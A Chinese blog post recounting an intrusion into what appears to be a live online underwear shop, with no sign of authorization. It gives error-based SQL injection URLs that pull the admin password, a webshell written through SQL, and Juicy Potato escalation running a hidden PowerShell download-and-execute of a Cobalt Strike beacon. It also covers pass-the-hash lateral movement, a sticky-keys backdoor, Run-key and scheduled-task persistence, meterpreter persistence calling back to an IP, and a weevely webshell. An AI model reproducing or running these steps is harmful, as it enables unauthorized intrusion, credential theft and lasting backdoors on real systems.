记一次内衣网站渗透测试
这站真大,不对,这站真圆.php的站随便随便一测
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195938481-258542617.png)
一枚注入
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195939141-1671520866.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195939846-814125763.png)
因为只能读取32位所以使用substring分开读取 https://aaaa.com/1.php?id=210%20and%20extractvalue(1,concat(0x7e,(select password from admin limit 1,1),0x7e))%20# https://aaaa.com/1.php?id=210%20and%20extractvalue(1,concat(0x7e,substring((select password from admin limit 1,1),30,35),0x7e))%20#
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195940358-267181939.png)
舒服了,这下可以给光明正大的进去选内衣了
0x02 拿shell
看看robots.txt
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195940829-512509743.png)
inurl:a.com admin
进入后台发现是ECSHOP 这里原本是file改为image绕过
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195941402-467573521.png)
似乎不行被重置了
这里发现可以执行sql语句而且存在绝对路径泄露
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195941955-1633854959.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195942508-150200273.png)
ok下面就好说了,写入一句话
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195943025-250828809.png)
0x03 提权
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195943519-2033449861.png)
权限有点小低
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195943991-204834854.png)
存在mysql也没其他可以利用的
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195944735-551642602.png)
尝试mysql提权
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195945308-464847560.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195945850-2004158156.png)
除了目录不能上传其他条件都满足所以当我没说,上cs,powershell上线
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195946407-798907551.png)
提权这里使用Juicy Potato 具体可以参考三好学生文章 选择想要的任何CLSID,链接
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195946978-205856252.png)
然后我们在以system权限执行powershell
shell style.exe -p "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('powershell地址'))\"" -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
这里面的双引号记得转义
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195947514-429353238.png)
0x04 横向渗透
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195948044-1704555424.png)
为工作组环境,扫出来0.9也是一台web这里hash传递直接拿下,继续抓hash,目前以有如下账户 wiseadmin shopaccount mysql wiseadmin filetransfer demoadmin WDAGUtilityAccount
平平无奇hash传递--
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195948532-1328435605.png)
一个应该是web的的一个demo,然后0.7可能是数据库服务器
都是admin权限了如果想要获取system的话可以使用SelectMyParent,其实也就是j把新进程当中system进程的子进程,这里就用cs的马,先查看winlogon.exe的pid
可以看到这里为500
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195949093-475859412.png)
然后把我们的systen.exe上传,执行shell SelectMyParent.exe systen.exe 500
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195949758-1731033093.png)
这步操作其实就是凑点字数 ,哈哈哈哈
0x05 权限维持
这里就拿本机测试了
粘滞键后门 在windows上连续按5次“Shift”,就可以调出粘滞键
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195950279-1347231513.png)
粘滞键指的是电脑使用中的一种快捷键,专为同时按下两个或多个键有困难的人而设计的。粘滞键的主要功能是方便Shift等键的组合使用。粘滞键可以先按一个键位(如shift),再按另一键位,而不是同时按下两个键位,方便某些因身体原因而无法同时按下多键的人。一般的电脑连按五次shift会出现粘滞键提示
使用如下命令
cd windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195950797-479934727.png)
如果目标机是 winvista 以上的,即 winvista 以后出的系统,修改 sethc 会提示需要 trustedinstaller 权限,所以想要继续,那就需要修改所有者为Administrator,并修改其权限:
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195951360-1409016759.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195951919-1822662936.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195952486-2047762756.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195953055-958087856.png)
然后修改为完全控制
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195953627-1515899704.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195954397-2084465983.png)
现在我们连续按下5次shift就弹出一个system权限的cmd
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195955191-1339484233.png)
注册表注入后门 在普通用户权限下,攻击者将会需要执行的后门程序或者脚本路径写到注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 键值可以任意设置,或者直接执行如下命令添加启动项 REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\shell.exe" 当管理员重新登录系统时,就会执行后门程序
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195955864-1298434185.png)
计划任务后门
命令:schtasks /Create /tn Updater /tr c:\shell.exe /sc hourly /mo 1
以上的命令会在每小时执行一次shell.exe,在win7及以下的系统使用at命令代替schtasks
meterpreter后门
meterpreter > run persistence -U -i 5 -p 1234 -r 192.168.220.128 -A
自动启动一个匹配的
exploit / multi / handler来连接到代理 -L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P 有效负载使用,默认为windows / meterpreter / reverse_tcp。
-S 作为服务自动启动该木马(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动该木马
-X 系统引导时自动启动该木马
-h 这个帮助菜单
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口
-r 运行Metasploit监听连接的系统的IP
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195956489-1853505447.png)
web后门的话可以使用weevely 这里生成一个shell.php来测试
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195957179-175170317.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195957832-232946655.png)
将文件放入服务器目录下,然后执行
weevely http://192.168.220.1/shell.php
shell 可以help查看帮助
audit.etcpasswd | 枚举/etc/passwd
audit.userfiles | 列举用户/home下具有权限的文件
audit.mapwebfiles | 枚举任意Web站点的URL链接
shell.php | 编写php文件
shell.sh | 编写系统脚本
system.info | 收集系统信息
find.suidsgid | 查找SUID / SGID文件和目录
find.perms | 查找权限可读/写/可执行文件和目录
backdoor.tcp | TCP端口后门
backdoor.reversetcp | 反弹TCP连接
bruteforce.sql | 爆破指定数据库用户名密码
bruteforce.sqlusers | 爆破所有数据库用户密码
file.upload | 上传本地文件
file.upload2web | 上传二进制/ ASCII文件至目标站点文件夹并枚举URL file.enum | 在本地词表的书面枚举远程文件
file.read | 读文件
file.rm | 删除文件
file.check | 检查远程文件的状态(md5值,大小,权限等)
file.download | 下载远程二进制/ ASCII文件到本地
sql.console | 启动SQL控制台
sql.dump | 备份数据库,即脱库
net.scan | 端口扫描
net.phpproxy | 安装远程php代理
net.ifaces | 显示远程主机网络接口信息
net.proxy | 安装隧道通信代理
执行一些windows命令
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195958412-1364788417.png)
执行自带命令
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195958987-1857003561.png)
![null 图片](https://img2023.cnblogs.com/blog/1049983/202401/1049983-20240117195959657-535884593.png)